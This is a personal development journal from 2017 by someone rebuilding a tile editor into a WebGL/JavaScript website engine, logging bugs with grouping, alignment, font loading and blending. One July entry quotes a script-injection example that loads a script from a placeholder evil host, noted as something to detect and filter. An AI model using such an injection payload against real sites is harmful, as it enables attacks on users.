Refactoring the Evora level editor.

So yeah, I was thinking: damnit it would be so easy to use my scripting knowledge and just make websites as a freelancer.

I’ve just untangled the last version of it I left and now I’m thinking ok, that thing is a bear in a mammoth’s body. But fascinating, truly fascinating. I remember how much I like programming. I’ll keep a journal here because it motivates me.

TODO List:

Graphical:
Support text wrapping
Tiled textures
Color/Alpha textures
Wallpapers
Support parallax
Scaling text

MAKE GROUPS ALIGN
MAKE GROUPS UNDERSTAND SCALED THINGS
TEST GIFS
TEST VIDEO EMBEDDING

Fix the 1 group required bug.

Later:
Make sure websites are readable to crawlers
Support high-density displays
Block users from typing in the console?
Add a “capture” method that will output a screenshot of what’s displayed on the browser and open an mspaint like editor for clients to annotate the changes to make and sends it to me.
People can inject script through text boxes (forms) -> filter that out

Eventually:
Mini editor to where you want to link at?


Current state of things:
Will start posting new journal entries soon enough. I will also eventually have a webpage ready that demos things I did. Such as the waves background and the rectangle creation thing.

(Before that, I decided to revisit the HTML too because so much changed since the 90s) (I know enough for now).
Right now I’m revisiting the basics of CSS.
Next, I will be designing a Wordpress webpage.
Finally, I will integrate WebGL and demos in it.

Once that is done, I have multiple pathways in front of me:
Learning more about the Wordpress API.
Design a second website.
Pushing my PHP knowledge a bit further.
Learn about search engine optimisation.
Build interface things with WebGL, do more WebGL.
Check things I’ve put on the todo list above.

Edit this list that I will paste in the original post.

June 2017

[B]June 19th -[/B]
Removed some files and renamed others so they sound more appropriate for elements of a website.
Considering to use include.js eventually.
Relearning emacs, cool tool. Not too hard to get back to.


[B]June 20th -[/B]
The files were restructured, the project doesn't load for now.
Helped someone move today. Got to sleep.
Thanks tricxta.


[B]June 21st -[/B]
I'm actually using webGL for the website, the editor was full screen, I'm debating whether I should keep it full screen (taking the whole browser's window, to be clear) and make a custom scrollbar or not.
I had time for thinking at work today and I considered maybe keeping tile editing as a functionality and allow people to play around with it, like a website maker but using tiles. Maybe I will, in order to show off, as the website I've had in mind for a while now would be, in its final form, exploratory. It may never happen but I've been thinking about making websites since I've learned back when I was like 14. I had no idea what I did could have been lucrative. Now it's a different story but in 15 years, I've had a few ideas.
Closing the day:
I had a backslash somewhere instead of a slash, that's been corrected. Now I'm looking at my code and it works, but responsibilities aren't right. It shows that I meant some things to be temporary and I wish I'd have finished putting things together before I stopped last time. Now I have to get familiar with the code again. I've stranded from that and procrastinated tonight. Sleepy now. Hopefully tomorrow will be productive. Afterwards, I'm leaving for the week-end.


[B]June 22nd -[/B]
Trying to figure out that layer thing, I think there's a sorting function embedded in JS. Might use that and simple layer numbers. I also could stack images in the right order right away? No, it sounds like too much trouble.
Moving a block of code sets off weird behavior where it seems only one pixel of the loaded image is repeated at the size that was given. (a 16x16 image will replicate 16x16 of [I]the same[/I] source pixel).

13?:42 - I've isolated the problem... I don't know the words to explain it though. It happens when the block of code (which iterates the list of textures and calls a function that readies them) is in the same file as, I believe, which that calls the constructor that instantiates a new image to display.

14:00 - No, in fact it also happens if I put the chunk of code in a separate new file that loads prior to the last one but it doesn't happen if I put it in cButton.js, which is normally what loads prior to the last file.


[B]June 26th -[/B]
Vacation is over, I'm back from work and lost all the time I had to loose on Facebook... it's 22h35 right now. I should go to sleep. Diminished my allowed Facebook time on my browser. I did do some self actualisation work. Not all the evening was lost.


[B]June 27th -[/B]
It's been a hard day. It's been hard to keep doing efforts. I did go back to lay in bed a few times, I've walked to some place to have a 15 minutes discussion about how filling a paper needs time (probably 15 minutes) and that that time wasn't while I was there. Because of that I might keep the free time I have now (I only work 2.5 days a week), it's not that much of a bad thing. 4h15m went into my webpage project. I've finally decided on the structure of the project (how and which modules load), although I still don't have anything for page elements, the "engine" is ok. However, I'm really thinking of going back to Canvas 2D, it'd make much more sense. That still needs to be decided. I've changed from eMacs today to Visual Studio Code. VSC is alright, I did get a better chance at understanding my own code with it, I think I'll keep it. What I did the most, besides trying to figure out a loading system (which is partly why I'm considering Canvas 2D) has been cleanup. I've moved stuff around and it's now way easier to read, understand and manage. Infinite loops are deadly.


[B]June 28th -[/B]
Refactoring the tile editor might not have been the best idea. It's 19h50 and I'm back to working on this.

20h38 - I have designed the main page. After looking around a little, I found out it is inspired by imgur's.

I am trying to make the text selectable. I found out why it isn't just now (the canvas displays over it) and giving them proper z-indexes doesn't work either. Working on that.
Woohoo! If everything was so easy to fix!

The pixel problem is a tough one, I have isolated that it happens when the images are ..hm.. loaded too soon so I am reading up on creating events to listen to that would trigger solely once the required texture is loaded so I can isolate further.


[B]June 29th -[/B]
Pixel problem solved. I simply wasn't calling my render function the right way. I wonder how I came to call it by itself instead of with "requestAnimationFrame" as required. The guru's webpage holds the answers.

Integrated management of strings as HTML. I was integrating something to manage window resizes and scrolling that will keep the elements in the right position relative to their environment when my time ran out. I've decided that I should do 10h per week to keep me from getting sick of it and making sure I'll put at least some time on my project every week. I still want to work on it but as it became clear today that the 9 to 5, 5 days a week life was not an option for me I'm deciding on means to really make sure this project becomes a reality.

Next week starts Sunday.

July 2017

[B]July 2nd -[/B]
Decided the images and text would be treated separately. For now, it's pointless to do so, I could just use Canvas 2D but using webGL right away will pay in the future. I'd enjoy being one of the few who actually can make websites with a 3D feel.

Started writing the alignment function (corner tl, center, absolute position, inner relative, outer relative...). Figuring out how to align relatively to other elements, such as text to be displayed 15 px under an image with left alignment. Thinking of managing space before and after for paragraphs and manage wrapping. I'm entirely avoiding making things through a CSS file, the way I envision it my JS will be much more flexible and powerful. Plus, I know JS. All I remember of CSS is that 10 years ago it sucked hard the moment when you tried to do anything interesting it could do.

In 2 hours I wrote something like 35 lines. Which was even straightforward code. Pretty slow.


[B]July 3rd -[/B]
Still writing about alignment, how things will be placed on screen and making elements placed relative to each other. After some writing, I realized I could make my elements function much more versatile than first thought. Which enables for lots more ease in making text placed relative to an image for example. Added to that, I'll be able to make images move with the same function as I make my text move.

Cool, when I decided images were going to use the same prototype as text, I moved its constructor. Now I can see that I'm still not making the page load properly. I've succeeded getting to the point where I [I]at least[/I] have the whole script load before displaying everything but all I get is blue, so the texture isn't loaded. Even its eventListener won't do crap. I shall stop working as it's already been 4 hours today.


[B]July 4th -[/B]
The pixel problem is the worst thing ever. I've just spent more than an hour on it with no results aside of confusing myself out of understanding my own code. I've been telling myself I had to clean it but there's nothing to remove. I'm confused. It appears to be impossible to call functions synchronously one after the other as through testing it seems the first function to call the console is the last that is supposed to run. I've tried callbacks... one thing I haven't tried yet.

4 hours later, I've posted a question on stackoverflow. No one will answer, the code is way too long. I've succeeded in determining whether if is was because of loading, it's not.

Decided to revert back to an old version but it doesn't display any images. Hopefully it'll be worth it.

After a LOT of staring, I've decided to go block by block and decide if the blocks were likely to contain an error. It made me remember that I renamed some variable shortly before I copied that version. Stupidly, I didn't rename it across the project so now it's corrected and I've learned: leave old versions that WORK. (none did). With that done, I've been way beyond my 10 hours limit. That was time lost though so I don't think I will count it as time I worked.


[B]July 5th -[/B]
Dungeon Defenders II stole my time :O


[B]July 6th -[/B]
I have finally got rid of the code that made a 64x64 tiled "level" because I'm now integrating alignments for images. The engine is taking up 5 js files now. Those are the files I will intensively work on for now.

Aside from a few bugs from misnamed variables, everything went well. I'm getting back programming into my mind so bugs are easier to find. Especially now that I pretty much have my whole code back in my mind. Now the images align to the window whether it is top right or bottom left. Just like text. I'm integrating relative positioning right now (such as text appearing centered under an image) and am giving thought on how to make nested relatively positioned things (such as a button with text inside that would be anchored to the bottom center of an image). Slow progress is still progress, I gave it 3 hours today.


[B]July 7th - [/B]
I have finally written that 150 lines long alignment method. It is not complete, now I'm working on nested elements.

15:53 - I'm done for this week, I've went a little over the limit. There's something I didn't think of before making my alignment method: what about groups of elements?! First thing that came up as I was going to put my website mock up on the screen. Positive thing is that nesting worked right away without any modification.


[B]July 9th -[/B]
Reading about the waterfall approach inspired me to put some more structure to my code. After writing and sketching about it, it became clearer what's important. The primary elements (which I've named DomElements) prototype needs to be rock solid because I now notice it pretty much is the heart of my project. If it is, no bugs will ensue (scrolling lag is what worries me most). Right now, I'm trying to make some prototype inherit from another, it makes no sense that it doesn't work so I figured I should take a break.

Actually questioning myself on wallpapers, if they were to be tiled it seems to me scrolling could be really laggy. The right choice might be to just html it. Text, especially fonts, will require some research.

Also made some minor optimization to my code, renaming some things, added a second name variable to the text element so it is simpler to lookup than with its informative mouse over text. Oh wait... I should have done that to images, not text. lol

Had to write a workaround to get the page to load the fonts before calling it done. It just placed text according to the default font's size. I'm sure it could be optimized but, conceptually it works so that's enough for now.
PHP Code:
  function render(time) {
    //lookup canvas size
    //extrapolation here, I'm not using it but I should and shall
    var now = time * 0.001;
    var deltaTime = Math.min(0.1, now - then);
    then = now;

    mainLoop();
    draw();
    resizeAlignAll();

    //IF something's active, keep rendering, otherwise, just don't
    if (webActive > 0) {
      webActive--;
      requestAnimationFrame(render);
      return;
    }

////The workaround

    if (!fontsLoaded) {
      let loadeds = 0;
      for (this.i = 0; this.i < textElements.length; this.i++) {
        if (textElements[i] == testTextElements[i]) {
          loadeds++;
        }
      }
      if (loadeds == 0) {
        fontsLoaded == true;
      }
      requestAnimationFrame(render);
    }

  }  

I realize now it will be a problem in the cases where the font doesn't need to be downloaded. Imma sleep on that.

[B]July 10th or 11th?[/B]
Apparently my workaround works no matter what. It seems all the text is loaded at first with the default font then the css enters and it changes dynamically (without need for a refresh or something like that) [I](No, my code does a last refresh after fontsLoaded is set to true, it doesn't work all the time if it is not the case)[/I]. Tests with text changing will be made. On a mouse click or something to see if it happens as dynamically. Maybe make fonts change after an action since it looks possible. Not much work put into it today. Facebook stole my time, even with a 30 minutes limit which somehow still extends to hours. Today, a bit of code was added in case the default font is used. It will never be, it looks like shit. Code will be more solid, that's all.
Code:
 if (textElements[i] == testTextElements[i] && !testTextElements[i].id.split("_")[0] == "def")
Maybe fontsLoaded will need to be set to false when a font changes, this chunk of code will need a review if it is the case.

[B]July 12th - [/B]
Today happened at my brother's. He knows some PHP, mySQL and about databases. He taught me some things he knows which greatly sped up the process of creating a working prototype that uses both php's GET (ajax..? I name it ajax), and the SELECT and INSERT mySQL commands. The goal is to make it possible to add or change content, to the webpages I will make, through forms. Both forms and retrieval have been prototyped today, it's been a very productive day: pride!

Noting for later to eventually address that deleting entries makes holes (skipping numbers) in my database. It's nothing bad but imagine a drop down menu that has 5 items; ... Oh, never mind. That's fixed already.

[B]July 12th - revisited (finally decided to watch that video some random guy mentioned, I don't even remember where exactly (stackoverflow? quora?))[/B]
[LIST]
[*]My code has constructors with something like 12 parameters. It's not really practical and that video says: use object literals.
	h[URL="https://vimeo.com/97419177"]ttps://vimeo.com/97419177[/URL]
	(skip to 39:08)
[*]Not sure how it's done. He mentions how, but his speech sounds like "blah blah gibberish". Doing some researches right now over there:
[URL]http://www.dyn-web.com/tutorials/object-literal/[/URL]
	Looks like a python dictionary.
	Not sure how my object would do prototypal inheritance as it is declared like
	var myObject = { varname : value };
	But the speaker says he doesn't use js prototypes so the solution might be elsewhere.
[*]It looks like a first grand rewriting is coming up. Sounds necessary, as "this" is claimed to create security breaches (it's everywhere on my project right now) and both (and counting) my main objects have 12 parameters and counting (so they really could use that object literal trick).
	It's actually exciting.
[/LIST]

[B]July 13th - [/B]
Reading about javascript.
[LIST]
[*]People can inject scripts in textboxes by writing something like <script src="http://evilwebsite.com/badscript.js">>. My websites will need to detect those.
[*]No evidence that this creates security breaches. I will watch that part of the video again later, must happen in specific bad practice situations.
[*]I understand now that this congressman does not believe in concise code. So I would need to enter every variable name paired with their values at every moment I declare an element... which will happen often. There must be a third way, I'll investigate that. Not using prototypes looks very impractical, more investigation will happen.
[/LIST]

[B]July 16th -[/B]
Back to coding!
[LIST]
[*]I've made the change away from using "this". It proven much easier than expected and I didn't have to rewrite that much, mostly copy and paste. Testing methods I wrote was very straightforward and required a few adjustments but nothing too big.
[*]Ok, so now the grouping is being implemented, which might not make sense ever (It's been hard to figure out and think about. Not sure yet if it will be useful). Anyhow, for now drop Down Menus might use it. DDMs will also require work on the clickables feature. So that's multiple interdependent features that will need coding. Leaving this here for today. Hopefully my notes will be useful.
[/LIST]
[B]July 17th -[/B]
Thanks for the feedback. :)
[LIST]
[*]Added a few try/catch to my code. The errors will only display in debug mode. More solidity, easier to figure out what goes wrong. As my code grows larger, about a thousand lines now, those try/catch blocks will be very helpful. [U]I think I should add a finally that would warn to contact.. me I guess, or whatever. Make it do something graceful.[/U]
[*]Separated the Drop Down Menu thing from the rest. Keeping it easy to customize is a priority so it will get larger with time. There's the obvious trade-off of making the code uselessly big if only one feature of such an element is used but nothing's keeping me from just cutting away parts I don't use once something becomes final.
[/LIST]
[B]July 18th - [/B]
Container > Group (even if they're the same idea)
[LIST]
[*]Do not forget to: allow images to scale with the browser window's size, wrap text, figure out how to make filled polygons (rectangles), figure out wallpapers. (especially of the tiled type, it sounds like it could be a burden for the computer while the HTML way does zero lag.)
[*]Cleaning up created bugs, aptly naming variables right away proves to be a required skill for any programmer. Hopefully my code is readable and consistent enough. There wasn't enough planning on my variables and a lot of things could have used the same variable name, trying not to make my "element" variables confusing. Either Gscript was easier to manage or I'm rusty. Luckily, I've read about "let" (instead of var), which limits the scope of a variable to the block where it is instantiated, before getting too far in my project.
[*][B]W[/B]orking on "[B]containers[/B]". Containers are an object that will be created to hold properties such as the topmost y coordinate and leftmost x coordinate of the elements that are associated with it. Once grouped, moving either element (or the container) will make all the rest move around ([I]should it? [no it shouldn't][/I]). It inherits from DomElement, which is the basis of every "element"/building blocks (text, images, every group [drop down menu, button, website preview block, scrollbar). Container overrides the DomElements's move method.
[LIST]
[*]Will require an "override"(?) because there will be groups in groups.
[*]Stuff will need to check if there is a parent container... and manage when associated elements will move together or not (example: the scrollbar's arrows will stay static but the bar in the middle won't, it needs to move independently. However, when the client will change the view for the mobile version, the scrollbar should move towards the center as the preview window gets narrower. It is not a required feature but a "nice to have", because I can.
[*]Giving it more thought, the container could kind of work like "window", but inside the window. I realize that is the "area" prototype I was planning to make for the Evora tile editor.
[/LIST]
[*]Ok ok, got other stuff to do. Good night.
[/LIST]
[B]July 20th - [/B]
Rabbit hole
[LIST]
[*]In order to stand out, I'm using webGL. I need to render a rectangle which is tinted white and transparent but I don't understand much of webGL and the examples I find has different initialisation code to the one I'm using. Pretty sure I would break it if started trying to patch code together. Also, the whole thing is very hard to learn. So I chose to learn it starting with GLSL with this book I found [URL]https://thebookofshaders.com/00/[/URL]
	There's also a library I've just found which actually would have fit my needs back when I was looking for one. [URL]https://github.com/gameclosure/webgl-2d[/URL]
	It's not maintained anymore though.
[/LIST]
[B]July 25th - [/B]
Studying
[LIST]
[*]Reading a lot on webGL and I finally start to understand some of the tougher parts.
[*]After giving it more thought, and it being confirmed. I[U]t will be required for my websites to be readable to crawlers in order to appear in search engines.[/U] There are some techniques coming up to mind.
[LIST]
[*]Display a text only version without formatting for crawlers, that is if they can be detected.
[*]That also brings up the fact that using only one interactive page to display all the content is impractical. People would click the link then have to browse to find the content they were looking for, that would be bad.
[*]The solution might be to build an internal search engine that would be what is referenced on search engines and when visited it displays what's relevant, or a list of what's relevant. to the user (if I ever make a website big enough or someone's willing to pay for it).
[/LIST]
[/LIST]
[B]July 27th -[/B]
A quick note
[LIST]
[*]Writing to note that it will be required for me to make images in different resolutions because of retina/high density displays. If I am to try to impress with visual skills, that is really important.
[*][U]Search engines treat the H1 like a title. It defines the page's topic as far as google (&co.) is concerned.[/U]
[/LIST]

[B]July 30th -[/B]
Confusing variables phase

August 2017

[B]August 2nd - [/B]
I think I understand
[LIST]
[*]Learned enough WebGL to integrate tinted rectangles. Not sure how I will layer text to appear under other elements. Haven't done lines yet either. Support tiling and images (that scroll differently from the rest of the page, in parallax or fixed to the background).
[*]Block users from typing into the console.
[*]Done prototyping the rectangle thing. I did a lot of useless back and forth and dumbed it down because of what turned out to be a misnamed variable. I'll have to "smarten" it back up sometime in the future to add rotation and gradient capabilities.
[/LIST]
[B]August 7th -[/B]
I'm back
[LIST]
[*]It's nice how keeping things modular makes it easy to just modify one part and plug it in the rest and everything works. I've been kind of dubious that my new rectangle thing would work but it does. Now I'm working on grouping. I've just spent half an hour figuring out max((rect1.x+rect1.width),(rect2.x+rect2.width)) was what I was looking for. Starting with the most convoluted methods to get those coordinates.
[/LIST]
[B]August 9th -[/B]
Cleaning
[LIST]
[*]I've done some cleaning up that I now see was important to do and it broke that workaround I made to wait for the fonts to load before calling it done. I have no idea why it worked because I now know that making an array equal another array does not copy the array or objects in the array but sets up a pointer. Once that has been done, I've stumbled upon some kind of precision problem where
[/LIST] Code:  
  widths[0] = thing[0].txt.offsetWidth; thing[0].width = thing[0].txt.offsetWidth; widths[0] == thing[0].width; //-> false ??? widths[0] == thing[0].txt.offsetWidth; //-> true
[LIST]
[*]I'm using the latter to confirm equality and have tried Math.floor/Math.round/Math.ceil, they don't do anything to help. If anyone has a clue, I'd like to understand this one.
[/LIST]
[B]August 11th - [/B]
Limitations
[LIST]
[*]The groups. I've noticed that since all groupings are placed without reference a grouping that is, for example, centered will not stay centered after resizing the window. Easy task! I thought I'd just make the group's containers the reference to what's grouped and voil?. Unfortunately, it is not that easy. It is the first limitation I end up with on my program. (It has roughly 1500 lines of code.) Right now I'm in the process of deciding whether I should strip out all relative positioning once I group in favor of having only the container to have such a property OR keeping all relative positioning and keeping the container just being a box and handle to move everything that's in it.

	I have to take into account that I have two different coordinate properties for every element: the real positioning in the window (x and y)[that are calculated based on initX and initY and their relative positioning] and their "relativity modifier" (initX and initY). (So a square in the center could be slightly decentered by having a non zero initX and/or initY value(s).) This in particular I think is alright but I'm running into problems now that I want the container to shape itself according to what's in it.
[LIST]
[*]First, I need initX and initY of what's contained to be modified when the container moves and not x and y because these are the result of calculations BASED on initX and initY.
[*]I need the container to resize itself based on the final x and y of the elements it contains. It will need to update every time something in it moves -> listener? add it to the overriden move method + oncanvasresize?
[*]This helped me think.
[/LIST]
[/LIST]

[B][COLOR=#FF0000]August 12th - [/COLOR][/B]
Transparency
[LIST]
[*]I have just noticed that my polygons do not have any transparency. It will require me to do some more information digging about webGL as that is an important feature.
[*]The groups are fixed. It turned out to be much more simple and elegant to have what is inside stay relative to what they were relative to in the beginning. No limitation met.
[*]It's interesting to note that the [I]official openGL documentation[/I] says:
	If alpha testing is insufficient for your needs, if you need real translucency via [URL="https://www.khronos.org/opengl/wiki/Blending"]Blending[/URL], [I]then a major problem arises[/I].
[*]Got very lucky and fell on the right pages quite fast.. whew.
[LIST]
[*][URL]http://delphic.me.uk/webglalpha.html[/URL] a working example and quick explanations (mentions premultiplication!)
[*][URL]https://limnu.com/webgl-blending-youre-probably-wrong/[/URL] a random resource about premultiplication that had the right answers!
[/LIST]
[/LIST] [CODE]
All that was required was to call these right after the shaders are initialized

gl.enable( gl.BLEND );
gl.blendEquation( gl.FUNC_ADD );

//Do not assume the values are premultiplied ( that if alpha = 0 then rgb should = 0)
gl.blendFuncSeparate(gl.SRC_ALPHA, gl.ONE_MINUS_SRC_ALPHA, gl.ONE, gl.ONE_MINUS_SRC_ALPHA);
  • As it is getting closer to being a real website I’ve started to think about scrolling and how I will construct those pages.
    [LIST]
  • I am missing an horizontal alignment option
  • Window aligned things will not scroll and absolute placed object will.
  • The scrollbar will need to output or inform in some way the whole page of the direction and the pixel number it scrolled.
  • Figure out non custom and custom scrollbar implementations.
    [/LIST]

August 13th -
Nice ideas today

  • Add a “capture” method that will output a screenshot of what’s displayed on the browser and open an mspaint-like editor for clients to annotate the changes to make and sends it to me.
  • Have been adding scaling to window and the whole scaling functionality while I’m at it. I notice polygons are not managed internally as images are, some code should go in there that I have put specifically for them in “DOMElements”. Also considering to add a “create()” function to be called by every element as methods are piling up and it is becoming less obvious what goes where.

August 14th -
Smartened up the rectangles

  • So I needed to bring up the rectangles’ render code because of how they rendered when they were related to something that scaled to the window’s size. The rectangles would be off by a few pixels when the window happened to be drastically resized, but not the images. Because they are rendered differently, I’ve changed the rectangles to render more like the images: going through a matrix. For some reason, now the rectangles display as bigger when “rotated” -> even when at 0 radian. At least now the option to rotate should be available with a (less) tweaking…?
  • I realize I need to get better at technical talk for this journal to be better.

August 22nd -
Dem Drop Down Menus shakes fist

  • or whatever complex elements requiring the base code to work, really.
  • I’ve been debugging things in order to make the drop down menu work for something like a week now. Forgot a call to render somewhere, my old mouse module, which I like a lot, had a parameter wrong somewhere and called an action twice in the same loop, now I notice I didn’t write groups taking into account that I would group groups together (a feature my drop down menus will need)
  • Because my drop down menus will actually show a list of choices once clicked and all these choices will have text and a background, possibly a separating line… whatever fancy thing crosses my mind. Every one of these, all choices, will be individual groups. Also, all choices will be grouped together so I can send them to garbage collection efficiently. Thing is that right now, when I delete a group, if there’s a group inside; that group, using the same function name as normal elements, will call destroy on itself which does the routine to delete what’s inside it, until it ends on another group which does the same thing and they will never delete themselves. That ends up making a stack overflow.
  • There is also the problem that when I group something new, a new object is created, being the new group; that is ok but the old object that’s now copied inside a group should have been deleted. They’re also not nesting as I wanted them to be nested. That group module may require a major rewriting.
  • I’m completely rewriting the container module. Can’t figure them out groups.

August 23rd -
Data structures

[LIST]
[*]I want to store and access my groups in such a structure:
[/LIST] let groups = { Gengroup3: { Container: 1, Image: 1, Text: 1, Gengroup6: { Container: 1, Image: 1 }, Gengroup10: { Container: 1, Gengroup20: { Container: 1, Text: 1 }, Gengroup30: { Container: 1, Image: 1 } }, Gengroup12: { Container: 1, Text: 1, Image: 1 } }, Gengroup4: { Container: 1, Image: 1 } };
However:
If I attempted to group Gengroup30 (nested in Gengroup10) with Gengroup12, should I:

[LIST]
[]Actually group Gengroup10 with Gengroup12?
[
]Create a completely new group not worrying about duplicates?
[]Ungroup Gengroup30 and then group it with Gengroup12?
[
]Throw an error
[/LIST] First option could make Gengroup20 an unwanted artefact

Second option would be nice to have but it’d be more problematic to manage. Deleting Gengroup30 would require scanning the whole structure. Ungrouping would require me to know which group to use as context, they would need names so doing the whole thing anonymously as I planned would be an obstacle. The uses of groups is to manage things together: modify any property or delete a whole batch of elements at the same time. It could become a nightmare to keep track of my groups with this solution. Messy.

Third option looks like it’d be way too easy to make a mistake and wonder for hours why Gengroup30 won’t want to move around with Gengroup20 (they’re nested together in the code block) even though I believe they are grouped together (but aren’t). I could just use the debugger. But still, very messy.

Fourth option is what Adobe Illustrator does. I also think it is the wisest choice. The rest is a classical problem.

August 26th -
Are methods really best practice?

  • The groups finally behave as intended. Somehow option two of my last journal entry is what happens by default. The trees become very big as every branch is a container object with a property named “Members” where what it groups is stored. Right now every newly nested branch, at each deep copy, has to be a new Container. That creates useless artefacts/duplicates in my rendering stack that will need to have destroy called on.
  • Wondering if objects such as containers should keep their methods or if those should be made public. Creating new objects would be less demanding as all those method properties wouldn’t be copied every time.
  • That’s what happens when I expand… and btw the objects that aren’t groups aren’t complete with their methods on here. That’s crazy. (second attached image)
    [LIST]
  • Some more thinking convinced me that the methods are not duplicated. Otherwise a program would quickly get heavy even using simple arrays.
    [/LIST]
  • So I learned that a for loop goes like for(var e in object) and not for(e in object) (and that foreach was deprecated). Fun fun looking for those loops

August 27th -
Groups

  • I have removed all the objects I created to debug my groups data tree to find out an hour later that it builds in an impractical manner and would need some tweaking. Things is I could store the branch location of every element inside every grouped element… but I haven’t thought it that way. Instead I’ve started looking up for the branch every time I want to act upon a grouped element… that sounds ineffective. Container.js was a middle sized 300 lines module that went from being about treating a two dimensional array to being about managing a data tree.

August 28th -

  • Decided against storing the branch location of every element inside themselves, but I’m storing their parent. Now I have to make containers fit what it contains so later I can just tell a group to align to whatever. It’s hell. Adapting what I wrote doesn’t work. That is going to need more concentration.

August 29th -

  • I have made a change that now destroys containers that end up duplicated once I group them, added a keypress event that now renders the page when I press a key (I’ve had a few “bugs” that were me forgetting to render the page), I sent a few things to the garbage such as something that looked up for a branch, no use for it now since I store every element’s parent. I have modified how grouped containers are built, they now build to the same size as the original. All that went alright!
  • Rant: But the containers still don’t get to the size and position they should have, Container.js is a mess. Understanding my own code in there is hard and I’m sick of debugging that shit. Groups is a powerful idea and it’s pretty much like it’s way too advanced for me, I’d like to have some way to appreciate or measure how hard things are supposed to be for an average programmer but I don’t.
    [LIST]
  • In a way, I am making http://fabricjs.com/ all over again X_X’ that thing is roughly 29 000 lines of code. Looks like a great library, just found it trying to look for how hard it should be to program that grouping thing.
    [/LIST]
  • I read that it’s hard to do so I don’t feel too bad I spent so much time figuring it out.

August 30th -
Productive time

[LIST]
[*]I sat down today and the solution came right away on my mind. My most productive time when I’m on something complex really is the first hour. I’ll try to explain what was the problem.

  • I used to place my groups using initX and initY (which are really an offset for aligned things, a centered thing with initY = 20 will appear centered and 20 pixels to the right). That didn’t do, because now I want groups to align with other objects so I changed to modify x and y instead of initX and initY. That screwed up everything and I realized it’s because the resizeAndAlign method stores the initX and initY as the value to work upon. They were = 0 for my groups now. As they were “absolute”, they were placed solely depending on the initialized coordinates, that wouldn’t do anymore of course. Therefore I have added a “groups” alignement property that takes the x and y of the element and change nothing instead of the initX and initY properties. It works because groups are located depending on what’s inside and that is computed independently. The problem really was myself not following my own rules, that seems to have happened often.
  • I’m not so sure now though how I will make groups align to things.

[/LIST] [/CODE]

September

[CODE]
September 1st -
Really, productive time

  • Of course what I did didn’t work on the first time but I found right away what was wrong. Thanks partly to a console call I wrote a long time ago. Good thing. Groups now align to things and it took me like 30 minutes. I had to merge two functions that were conflicting, hopefully that was the right move.
  • I will have to take the time to transform parameters to object literals and properties. Tidy up and revise the code a little

September 2nd -
Tidying up

  • Trying to not introduce bugs. Seeing things that could have been done differently and some mistakes I did. Nothing major, I like my code.
  • I tripped on something major. Probably a feature of javascript I don’t understand, don’t know how to call and even less how to replicate. My objects, that I reference in my renderStack array and “groups” object if need be are not equal to themselves. If I log foo.x I have a value and if I look into my groups object or renderStack array, another (the right value) is shown. I have tried getting the element through the renderStack’s getFromStack method but I get the same problem.
  • On top of that, elements that are part of a group that has been modified to be aligned to something make the other elements of the same group move when they move. That is a weird behavior as I have one rectangle that went from being centered to being contained in the group to seemingly being aligned with another image of the group while it never has been in the whole process. Even worse, if I force a render, the rectangle will go back to its place. Then if I make the other image move, the rectangle goes back under the image, where it shouldn’t be. I’m attributing both behaviors to the same “bug”/js feature because none of that makes sense.
  • The first bug is somehow the elements keeping their initial properties, taking them back after ungrouping without any explicit code. It seems initX and initY are wrongly managed.
    [LIST]
  • No, in fact I forgot to call resizeAndAlign somewhere. don’t know where yet. (found it)
  • Bug number two seems to be things misbehaving because I first coded with static grouping in mind.
  • Unsure of the efficiency of resizeAndAlign… I can have major hard to understand bugs if I forget to call it somewhere… maybe the whole concept of using that resizeAndAlign function is wrong. It updates the real coordinates of things. Maybe using two pairs coordinates variables is making it too complex. Maybe I could have used something else than resizeAndAlign where I found the bug.
    [/LIST]

September 3rd -
Productivity

  • I have added 500 lines of code to my project since August 11th. Slow.
  • I especially like how convoluted this line is: delete groupedElement[“parent”][“parent”][“Members”][groupedElement[“parent”].intName];
  • I have to make design decisions:
    [LIST]
  • Should I modify the grouped elements to be relative to the group container once grouped or solely once the container has to move? Because the latter would require more recursion. However I can see some impracticality to the former . Also both are wrong because, say I have a drop down menu that is centered and I move the container down by 20px, I’d still like the drop down menu to stay centered to the page with a 20px offset. I will need another property for objects to determine if I want their relativity and align properties to be affected by moving containers.
  • I have to remember to block nested elements from being grouped (with non nested elements?). Remember that, wolf XD.
    [/LIST]
  • There is a huge problem with my groups data structure and it is that the groups cannot be accessed or stored easily. I can write: group1 = group(something,somethingElse); but group1 would refer to itself as when it was created. Once I group it with something else and it becomes nested, group1 isn’t equal to (roughly) groups[GenGroup2][group1.intName]. I need to lookup the group every time I want to modify it. There has to be a better way…

September 4th -
Easier than I thought

  • group1 = group(whatever, something) now keeps pointing to the right place in the data tree, wherever it is placed. The problem was my misunderstanding of how a deep copy worked when I first coded it. I changed a few things and now everything is ok. I don’t have to create a new container each time I am nesting one anymore.
  • When text is grouped, the container will apparently size itself according to the default text size… yeah, that problem all over again. I don’t even remember where’s the code I wrote to try to solve that issue.
  • Things left to do within Container.js:
    [LIST]
  • Experiment with scaled things.
  • Cleanup and move some things around.
  • Block nested things from being grouped with other things in a way that would create a new, non-nested group. That would be more of an editor issue but I’ll still keep myself from doing it by throwing an error.
  • That anti-align-property-changing boolean property for things that will be moved around by a group but would still need to stay aligned as it was.
    [/LIST]
  • Scaling text hasn’t been done yet.
  • Is the reference to destroyed element destroyed as well? I may have forgotten about it.

September 8th -
Text

  • Interestingly, the way I had decided to manage font loading is very popular and actually the only way to do it. It doesn’t sound optimal to poll (or force a scroll) on a div that contains text for its size and determine that once the size has changed the font has loaded. (It could even happen that some fonts have the same width as the default font so I would never get a positive that the size changed.) The most elegant solution, promise, will not work on any version of Internet Explorer… Other solutions have similar issues with IE. I am reminded of the days when to display a non-default font you had to hack around with Adobe Flash. Still nothing “non-hackish”
    I’ve read that you can load a font as an image and wait for the error to be thrown but another person answered that browsers need time to render downloaded fonts, so even then it will not work properly.
    My solution doesn’t work 100% of the time for some reason and there are so many options to choose from that do basically the same thing.
  • I have found a cool script that works, it uses polling though. Still get what they call a FOUT/FOIT but whatever, from what I read they’re impossible to avoid.
    I might change that to a “forced scroll” in the future but it works for now. Here’s something about it
    http://smnh.me/web-font-loading-dete…without-timers
  • I can finally get back to work on the drop down menus!

September 10th -
Reality check

  • My project has some inherent flaws:
    [LIST]
